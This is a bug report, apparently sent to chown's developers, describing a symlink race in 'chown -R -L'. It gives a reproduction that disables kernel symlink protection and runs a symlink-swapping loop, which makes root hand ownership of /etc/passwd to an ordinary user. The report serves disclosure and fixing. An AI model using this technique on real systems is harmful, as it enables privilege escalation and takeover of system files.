chown: race condition with --recursive -L

[Michael Orlitzky]

When calling chown recursively, there is an "obvious" race condition
that is handled correctly:

  $ sudo mkdir -p foo/bar
  $ sudo chown --verbose --recursive mjo foo
  changed ownership of 'foo/bar' from root to mjo
  changed ownership of 'foo' from root to mjo

If the order was switched, there would be a period of time where mjo
could do bad things in "foo" before chown operated on its contents. But
so far so good: the order above is safe, and "chown -R" won't follow
symlinks by default.

Can we screw things up by dereferencing symlinks? I think so. The main
idea is to use a symlink that points "up" to mess up the order, and then
to exploit the aforementioned race condition. To make things easier,
I've patched chown to sleep for a second (and say so) after processing
each path.

For this to work, you'll need to ensure that your kernel doesn't have
any nonstandard hardening features enabled:

  $ sudo sysctl --write fs.protected_symlinks=0

(Most distributions patch the kernel to enable that feature by default.)

Now, open up two terminals; one as root, and one as a standard user (mjo
in my case):

  Terminal 1 (root)
  -----------------
  sudo mkdir -p /var/www/chown-test && cd /var/www
  sudo mkdir chown-test/foo
  sudo mkdir chown-test/bar
  sudo ln -s ../bar chown-test/foo/quux
  sudo touch chown-test/bar/baz

  Terminal 2 (mjo)
  -----------------------
  cd /var/www/chown-test/bar
  while true; do ln -s -f /etc/passwd ./baz; done;

  Terminal 1 (root)
  -----------------
  sudo /path/to/slow/chown --recursive -L mjo chown-test
  ls -l /etc/passwd

This outputs,

  -rw-r--r-- 1 mjo root 1.5K 2017-12-17 18:34 /etc/passwd

showing that mjo was able to trick root into giving him /etc/passwd.
The output from my modified chown explains why,

  called chownat on chown-test/foo/quux/baz, sleeping for 1s
  called chownat on chown-test/foo/quux, sleeping for 1s
  called chownat on chown-test/foo, sleeping for 1s
  called chownat on chown-test/bar/baz, sleeping for 1s
  called chownat on chown-test/bar, sleeping for 1s
  called chownat on chown-test, sleeping for 1s

The depth-first traversal follows the symlink and changes ownership of
foo/quux (which points to bar) before it changes ownership of bar/baz.

Note that the "--dereference" flag implies the same problem. It forces
you to set either "-H" or "-L", and in that context, choosing "-H" won't
prevent the link itself from being dereferenced (notabug 29788).

But what to do about it? I'm not sure... would doing the traversal
depth-first with respect to realpath help? Is that even feasible? I
think you're asking for trouble when you follow links OR when you
operate recursively, but "-R -L" is POSIX, so I guess we make the best
of it.